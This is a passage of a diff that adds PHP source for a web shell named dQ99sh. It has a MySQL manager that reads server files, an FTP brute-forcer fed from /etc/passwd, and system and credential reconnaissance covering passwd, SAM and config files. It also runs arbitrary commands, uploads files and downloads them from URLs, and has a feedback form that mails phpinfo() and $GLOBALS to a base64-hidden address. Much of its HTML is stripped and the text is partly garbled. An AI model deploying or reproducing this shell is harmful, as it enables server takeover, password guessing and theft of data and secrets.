    "; + echo ""; + echo ""; + for ($i=0;$i"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "".$v."";} + else {echo "".$v."\"".$m."\"";} + echo ""; + } + echo ""; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + echo ""; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo ""; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "NULL";} + echo ""; + $i++; + } + echo ""; + echo ""; + } + mysql_free_result($result); + echo "
    Action
    ".$v.""; + echo "\"Delete\" "; + echo "\"Edit\" "; + echo "

     

    "; + } + } + else { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "
    "; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + $i++; + } + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo "
    Table
    RowsTypeCreatedModifiedSizeAction
     ".$row["Name"]." ".$row["Rows"]."".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".$size." \"Empty\"  \"Drop\" \"Insert\" 
    +
    ".$i." table(s)
    ".$trows."".$row[1]."".$row[10]."".$row[11]."".view_size($tsize)."

     

    "; + mysql_free_result($result); + } + } + } + } + } + else { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?>
    Create new DB:
     
    View File:
     
    "; + if ($sql_act == "newdb") { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    ";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason:
    ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "
    Server-status variables:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; + mysql_free_result($result); + } + if ($sql_act == "servervars") { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "
    Server variables:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; + mysql_free_result($result); + } + if ($sql_act == "processes") { + if (!empty($kill)) { + $query = "KILL ".$kill.";"; + $result = mysql_query($query, $sql_sock); + echo "Process #".$kill." was killed."; + } + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "
    Processes:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} + echo "
    IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
    ".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."Kill
    "; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "Error in reading file (permision denied)!";} + else + { + for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!
    ";} + else {echo "File \"".$sql_getfile."\":
    ".nl2br(htmlspecialchars($f))."
    ";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); + } + } + } +} +echo "
    \n"; +if ($sql_sock) { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "
    Affected rows : ".$affected."
    \n"; +} +//End of SQL Manager +if ($act == "ftpquickbrute") { +echo "
    "; +echo "". + "". + "". + "". + "". + "
    "; +echo ".: Ftp Quick Brute :.
    "; +if ($win) { echo "Can't run on Windows!"; } +else { + function dQ99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) { + echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\".
    "; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else { + if ($fqb_logging) { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) { + $str = explode(":",fgets($fp,2048)); + if (dQ99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { + echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"
    "; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "
    Done!
    Total time (secs.): ".$ftpquick_t."
    Total connections: ".$i."
    Success.: ".$success."
    Unsuccess.:".($i-$success)."
    Connects per second: ".round($i/$ftpquick_t,2)."
    "; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else { + $logfile = $tmpdir_logs."dQ99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "
    ". + "Read first:
    Users only with shell
    Logging
    Logging to file:
    Logging to e-mail:
    "; + } + echo "
    "; +} +} +if ($act == "d") { + if (!is_dir($d)) { echo "
    $d is a not a Directory!
    "; } + else { + echo "Directory information:"; + if (!$win) { + echo "
    Owner/Group "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "
    Perms".view_perms_color($d)."
    Create time ".date("d/m/Y H:i:s",filectime($d))."
    Access time ".date("d/m/Y H:i:s",fileatime($d))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
    "; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); dQ99shexit();} +if ($act == "security") { + echo "
    .: Server Security Information :.
    \n". + "\n". + "\n"; + echo "\n"; + echo ""; + + function displaysecinfo($name,$value) { + if (!empty($value)) { + echo "\n"; + } + } + if (!$win) { + displaysecinfo("OS Version",dQ99exec("cat /proc/version")); + displaysecinfo("Kernel Version",dQ99exec("sysctl -a | grep version")); + displaysecinfo("Distrib Name",dQ99exec("cat /etc/issue.net")); + displaysecinfo("Distrib Name (2)",dQ99exec("cat /etc/*-realise")); + displaysecinfo("CPU Info",dQ99exec("cat /proc/cpuinfo")); + displaysecinfo("RAM",dQ99exec("free -m")); + displaysecinfo("HDD Space",dQ99exec("df -h")); + displaysecinfo("List of Attributes",dQ99exec("lsattr -a")); + displaysecinfo("Mount Options",dQ99exec("cat /etc/fstab")); + displaysecinfo("lynx installed?",dQ99exec("which lynx")); + displaysecinfo("links installed?",dQ99exec("which links")); + displaysecinfo("GET installed?",dQ99exec("which GET")); + displaysecinfo("Where is Apache?",dQ99exec("whereis apache")); + displaysecinfo("Where is perl?",dQ99exec("whereis perl")); + displaysecinfo("Locate proftpd.conf",dQ99exec("locate proftpd.conf")); + displaysecinfo("Locate httpd.conf",dQ99exec("locate httpd.conf")); + displaysecinfo("Locate my.conf",dQ99exec("locate my.conf")); + displaysecinfo("Locate psybnc.conf",dQ99exec("locate psybnc.conf")); + } + else { + displaysecinfo("OS Version",dQ99exec("ver")); + displaysecinfo("Account Settings",dQ99exec("net accounts")); + displaysecinfo("User Accounts",dQ99exec("net user")); + } + echo "
    Open Base Dir".$hopenbasedir."
    Password File"; + if (!$win) { + if ($nixpasswd) { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "*nix /etc/passwd:
    "; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "
    From:  To:  

    "; + $i = $nixpwd_s; + while ($i < $nixpwd_e) { + $uid = posix_getpwuid($i); + if ($uid) { + $uid["dir"] = "".$uid["dir"].""; + echo join(":",$uid)."
    "; + } + $i++; + } + } + else {echo "Download /etc/passwd";} + } + else { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (!file_get_contents($v)) { echo "Download password file"; } + } + echo "
    Config Files\n"; + if (!$win) { + $v = array( + array("User Domains","/etc/userdomains"), + array("Cpanel Config","/var/cpanel/accounting.log"), + array("Apache Config","/usr/local/apache/conf/httpd.conf"), + array("Apache Config","/etc/httpd.conf"), + array("Syslog Config","/etc/syslog.conf"), + array("Message of The Day","/etc/motd"), + array("Hosts","/etc/hosts") + ); + $sep = "/"; + } + else { + $windir = $_SERVER["WINDIR"]; + $etcdir = $windir . "\system32\drivers\etc\\"; + $v = array( + array("Hosts",$etcdir."hosts"), + array("Local Network Map",$etcdir."networks"), + array("LM Hosts",$etcdir."lmhosts.sam"), + ); + $sep = "\\"; + } + foreach ($v as $sec_arr) { + $sec_f = substr(strrchr($sec_arr[1], $sep), 1); + $sec_d = rtrim($sec_arr[1],$sec_f); + $sec_full = $sec_d.$sec_f; + $sec_d = rtrim($sec_d,$sep); + if (file_get_contents($sec_full)) { + echo " [ ".$sec_arr[0]." ] \n"; + } + } + echo "
    ".$name."
    ".wordwrap($value,100)."
    \n"; +} +if ($act == "mkfile") { + if ($mkfile != $d) { + if ($overwrite == 0) { + if (file_exists($mkfile)) { echo "FILE EXIST: $overwrite ".htmlspecialchars($mkfile); } + } + else { + if (!fopen($mkfile,"w")) { echo "ACCESS DENIED: ".htmlspecialchars($mkfile); } + else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); } + } + } + else { echo "
    Enter filename!
    \r\n"; } +} +if ($act == "encoder") { +echo "". + "
    ". + "". + "
    ". + "". + "". + ""; +foreach(array("md5","crypt","sha1","crc32") as $v) { + echo ""; +} +echo "". + "". + "". + "". + "". + "". + "". + "
    .: Encoder :.
    Input:
    ". + "
    Hashes:".$v.":
    Url:urlencode:
    urldecode:
    Base64:base64_encode:
    base64_decode:"; +if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} +else { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) { echo ""; } + else { $rows++; echo ""; } + echo " [Send to input]"; +} +echo "
    Base convertations:dec2hex
    "; +} +if ($act == "fsbuff") { + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "

    Buffer is empty!

    ";} + else { + $dQ_infohead = "File-System Buffer"; + $ls_arr = $arr; + $disp_fullpath = TRUE; + $act = "ls"; + } +} +if ($act == "selfremove") { + if (($submit == $rndcode) and ($submit != "")) { + if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; dQ99shexit(); } + else { echo "
    Can't delete ".__FILE__."!
    "; } + } + else { + if (!empty($rndcode)) {echo "Error: incorrect confirmation!";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "
    \n". + "". + "". + "Kill-shell: ".__FILE__."
    ". + "Are you sure? For confirmation, enter \"".$rnd."\" \n". + "\n"; + } +} +if ($act == "update") { + $ret = dQ99sh_getupdate(!!$confirmupdate); + echo "".$ret.""; + if (stristr($ret,"new version")) { + echo "

    "; + } +} +if ($act == "feedback") { + $suppmail = base64_decode("ZGhpZXF3ZWJtYXJrZXJAeWFob28uY29t"); + if (!empty($submit)){ + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "
    Thanks for your feedback! Your ticket ID: ".$ticket.".
    "; + } + else { + echo "
    ". + "". + "". + "". + "". + "". + "
    ". + ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.
    Your name:". + "
    Your e-mail:
    Message:
    ". + " Attach Server info (Recommended for bug-fix)
    ". + "*Language: English, Indonesian.
    \n"; + } +} +if ($act == "dQmailer") { + if (!empty($submit)){ + $headers = 'To: '.$dest_email."\r\n"; + $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n"; + if (mail($suppmail,$sender_subj,$sender_body,$header)) { + echo "
    Email sent!
    "; + } + else { echo "
    Can't send email!
    "; } + } + else { + echo "
    ". + "". + "". + "". + "". + "". + "". + "
    ". + ".: $sh_name Mailer :.
    Your name:". + "
    Your e-mail:
    To:
    Subject:
    Message:
    ". + "
    \n"; + } +} +if ($act == "search") { + echo "
    .: $sh_name File-System Search :.
    "; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array( + "name"=>$search_name, + "name_regexp"=>$search_name_regexp, + "text"=>$search_text, + "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {dQ99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "No files found!";} + else { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "". + "". + "". + "". + "". + "". + "
    ". + "". + "File or folder Name:
      - Regular Expression
    Look in (Separate by \";\"):
    A word or phrase in the file:
    Regular Expression". + " Whole words only". + " Case sensitive". + " Find files NOT containing the text
    \n"; + if ($act == "ls") { + $dspact = $act; + echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).
    ". + "
    "; + } +} +if ($act == "chmod") { + $mode = fileperms($d.$f); + if (!$mode) {echo "Change file-mode with error: can't get current value.";} + else { + $form = TRUE; + if ($chmod_submit) { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; } + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) { + $perms = parse_perms($mode); + echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
    ".($err?"Error: ".$err:"")."
    Owner

     Read
     Write
    eXecute
    Group

     Read
     Write
    eXecute
    World

     Read
     Write
    eXecute
    "; + } + } +} +if ($act == "upload") { + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;} + if (!empty($submit)) { + global $_FILES; + $uploadfile = $_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) { + $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
    "; + } + else { $uploadmess .= "File uploaded successfully!
    ".$uploadpath.$destin; } + } + else { echo "No file to upload!"; } + } + if ($miniform) { + echo "".$uploadmess.""; + $act = "ls"; + } + else { + echo "". + "". + "". + "". + "". + "". + "". + "
    ". + ".: File Upload :.".$uploadmess."
    ". + "From Your Computer:
    From URL:
    Target Directory:
    Target File Name:
    Convert file name to lowercase
    ". + "
    "; + } +} +if ($act == "delete") { + $delerr = ""; + foreach ($actbox as $v) { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."
    "; } + } + if (!empty($delerr)) { echo "Error deleting:
    ".$delerr; } + $act = "ls"; +} +if (!$usefsbuff) { + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) { + echo "
    Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.
    "; + } +} +else { + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); dQ99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); dQ99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} dQ99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); dQ99_sess_put($sess_data);} + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} + unset($sess_data["cut"][$k]); + } + dQ99_sess_put($sess_data); + if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = dQ99exec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
    ";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + dQ99_sess_put($sess_data); + if (!empty($arcerr)) {echo "Archivation errors:
    ".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} + unset($sess_data["cut"][$k]); + } + dQ99_sess_put($sess_data); + if (!empty($psterr)) {echo "Error pasting:
    ".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") { + @chdir($chdir); + if (!empty($submit)) { + echo "
    .: Results of Execution :.
    \n"; + $olddir = realpath("."); + @chdir($d); + $ret = dQ99exec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) { + $rows = count(explode("\n",$ret))+1; + if ($rows < 10) { $rows = 10; } else { $rows = 30; } + $cols = 130; + echo "\n"; + //echo "
    ".htmlspecialchars($ret)."
    "; + } + else { echo $ret."
    "; } + @chdir($olddir); + } +} +if ($act == "ls") { + if (count($ls_arr) > 0) { $list = $ls_arr; } + else { + $list = array(); + if ($h = @opendir($d)) { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) { echo "
    Can't open folder (".htmlspecialchars($d).")!
    ";} + else { + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";} + elseif (is_dir($v)) { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "Name"; + $row[] = "Size"; + $row[] = "Date Modified"; + if (!$win) {$row[] = "Owner/Group";} + $row[] = "Perms"; + $row[] = "Action"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = " "; + $y .= "\"".($parsesort[1]"; + $row[$k] .= $y; + for($i=0;$i".$row[$i]."";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath."";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath."";} + foreach ($regxp_highlight as $r) { + if (ereg($r[0],$o)) { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; dQ99shexit();} + else { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { + if (empty($r[2])) {$r[2] = ""; $r[3] = "";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") { + $row[] = " ".$o.""; + $row[] = "CURDIR"; + } + elseif ($o == "..") { + $row[] = " ".$o.""; + $row[] = "UPDIR"; + } + elseif (is_dir($v)) { + if (is_link($v)) { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = " [".$disppath."]"; + } + else { + $type = "DIR"; + $row[] = " [".$disppath."]"; + } + $row[] = $type; + } + elseif(is_file($v)) { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = " ".$disppath.""; + $row[] = view_size($a[1]); + } + $row[] = @date("d.m.Y H:i:s",$a[2]); + if (!$win) { $row[] = $a[3]; } + $row[] = "".view_perms_color($v).""; + if ($o == ".") {$checkbox = ""; $i--;} + else {$checkbox = "";} + if (is_dir($v)) {$row[] = "\"Info\" ".$checkbox;} + else {$row[] = "\"Info\" \"Edit\" \"Download\" ".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "
    .: "; + if (!empty($dQ_infohead)) { echo $dQ_infohead; } + else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; } + echo " :.
    \n"; + echo "
    ". + ""; + foreach($table as $row) { + echo ""; + foreach($row as $v) {echo "";} + echo "\r\n"; + } + echo "
    ".$v."
    ". + "". + "
    ". + "  ". + ""; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { + echo "                  "; + } + echo " 
    "; + echo "
    "; + } +} +if ($act == "tools") { tools(); } +##[ PHP FILESYSTEM TRICKZ (By diKi) ]## +if ($act == "phpfsys") { + echo "
    "; + $fsfunc = $phpfsysfunc; + if ($fsfunc=="copy") { + if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";} + else { echo "Success! $arg1 copied to $arg2\n"; } + } + elseif ($fsfunc=="rename") { + if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";} + else { echo "Success! $arg1 renamed/moved to $arg2\n"; } + } + elseif ($fsfunc=="chmod") { + if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";} + else { echo "Perm for $arg1 changed to $arg2!\n"; } + } + elseif ($fsfunc=="read") { + $darg = $d.$arg1; + if ($hasil = @file_get_contents($darg)) { + echo "Filename: ".$darg."
    "; + echo "
    \n"; + } + else { echo "
    Couldn't open ".$darg."
    "; } + } + elseif ($fsfunc=="write") { + $darg = $d.$arg1; + if(@file_put_contents($darg,$arg2)) { + echo "Saved! ".$darg; + + } + else { echo "
    Can't write to $darg!
    "; } + } + elseif ($fsfunc=="downloadbin") { + $handle = fopen($arg1, "rb"); + $contents = ''; + while (!feof($handle)) { + $contents .= fread($handle, 8192); + } + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$contents)) { echo "Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "
    Can't write to ".$d.$arg2."!
    "; } + fclose($r); + fclose($handle); + } + elseif ($fsfunc=="download") { + $text = implode('', file($arg1)); + if ($text) { + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$text)) { echo "Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "
    Can't write to ".$d.$arg2."!
    "; } + fclose($r); + } + else { echo "
    Can't download from $arg1!
